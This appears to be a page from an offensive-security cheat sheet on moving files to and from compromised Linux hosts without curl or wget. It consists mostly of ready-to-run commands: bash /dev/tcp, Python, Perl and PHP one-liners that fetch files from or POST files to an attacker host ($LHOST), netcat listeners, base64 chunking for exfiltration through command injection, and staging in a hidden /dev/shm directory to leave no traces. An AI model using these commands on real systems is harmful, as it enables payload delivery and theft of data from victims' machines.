Skip to content
HackIndex logo

HackIndex

Linux File Transfer Without Common Tools

3 min read Jul 14, 2026

Not every Linux host has wget, curl, nc, or scp available. Restricted environments, minimal containers, and hardened installs strip these out. This page covers transfer methods built from what is almost always present: bash, Python, Perl, and the filesystem itself.

This works in both directions — getting files onto a target and getting files off it.

Serving Files from Your Attacker Machine

Before covering transfer methods, the simplest way to serve files is Python's built-in HTTP server. Run this on your attacker machine in the directory containing your files:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

Then fetch from the target using any available method below.

Bash /dev/tcp

No tools at all — just bash. Works for both uploading and downloading over TCP.

Download a file from your attacker machine:

┌──(kali㉿kali)-[~]
└─$ exec 3<>/dev/tcp/$LHOST/$LPORT
┌──(kali㉿kali)-[~]
└─$ echo -e "GET /archive.tar.gz HTTP/1.0\r\nHost: $LHOST\r\n\r\n" >&3
┌──(kali㉿kali)-[~]
└─$ cat <&3 > /tmp/archive.tar.gz

Upload a file to a netcat listener on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ # On attacker machine first:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT > received_file
 
┌──(kali㉿kali)-[~]
└─$ # On target:
┌──(kali㉿kali)-[~]
└─$ cat /dev/shm/.work/archive.tar.gz > /dev/tcp/$LHOST/$LPORT

/dev/tcp is a bash built-in — it does not spawn any process and leaves no binary in the filesystem.

Python HTTP Download

If Python is present, this is the most reliable single-line download:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import urllib.request; urllib.request.urlretrieve('http://$LHOST:$LPORT/file', '/tmp/file')"
┌──(kali㉿kali)-[~]
└─$ python -c "import urllib; urllib.urlretrieve('http://$LHOST:$LPORT/file', '/tmp/file')"

Python HTTP Upload

Serve a file from the target back to your machine using Python's HTTP server in a writable directory, then fetch it:

┌──(kali㉿kali)-[~]
└─$ cd /dev/shm/.work && python3 -m http.server $LPORT

Then on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ wget http://$TARGET_IP:$LPORT/archive.tar.gz

Alternatively, use Python to POST the file directly:

┌──(kali㉿kali)-[~]
└─$ python3 -c "
import urllib.request, urllib.parse
with open('/dev/shm/.work/archive.tar.gz', 'rb') as f:
data = f.read()
req = urllib.request.Request('http://$LHOST:$LPORT/upload', data=data, method='POST')
urllib.request.urlopen(req)
"

Receive with a simple netcat listener or a Python HTTP server with upload support.

Download

┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getstore("http://$LHOST:$LPORT/file", "/tmp/file");'

If LWP is not available, fall back to raw sockets:

┌──(kali㉿kali)-[~]
└─$ perl -e 'use Socket; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect(S,sockaddr_in($LPORT,inet_aton("$LHOST"))); open(STDOUT,">&S"); print "GET /file HTTP/1.0\r\n\r\n"; while(<S>){print}'

Common on web servers where PHP is the only available interpreter:

┌──(kali㉿kali)-[~]
└─$ php -r "file_put_contents('/tmp/file', file_get_contents('http://$LHOST:$LPORT/file'));"

Base64 Over the Terminal

When there is no network path at all — only a command injection that returns output, or a session where you can only read stdout — encode the file and copy-paste it out.

On the target:

┌──(kali㉿kali)-[~]
└─$ base64 /dev/shm/.work/archive.tar.gz

Copy the output from your terminal, then decode on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ echo '<PASTE_BASE64_HERE>' | base64 -d > archive.tar.gz

For large files, split first to keep chunks manageable:

┌──(kali㉿kali)-[~]
└─$ base64 /dev/shm/.work/archive.tar.gz | split -b 10000 - chunk_
┌──(kali㉿kali)-[~]
└─$ cat chunk_aa
┌──(kali㉿kali)-[~]
└─$ # copy, paste, continue with chunk_ab etc.

This is slow but works with zero network tooling required.

SCP and SFTP When SSH Is Available

If SSH credentials or keys are available and the target can reach your attacker machine:

┌──(kali㉿kali)-[~]
└─$ scp /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
┌──(kali㉿kali)-[~]
└─$ sftp $USER@$LHOST <<EOF
put /dev/shm/.work/archive.tar.gz /tmp/
EOF

Both are covered in more depth under the SSH service data exfiltration page.

Checking What Is Available

Before picking a method, run a quick check:

┌──(kali㉿kali)-[~]
└─$ which python3 python perl php ruby bash curl wget nc scp 2>/dev/null

Work from the top of the list downward. bash with /dev/tcp and python3 cover the vast majority of cases on modern Linux systems.

References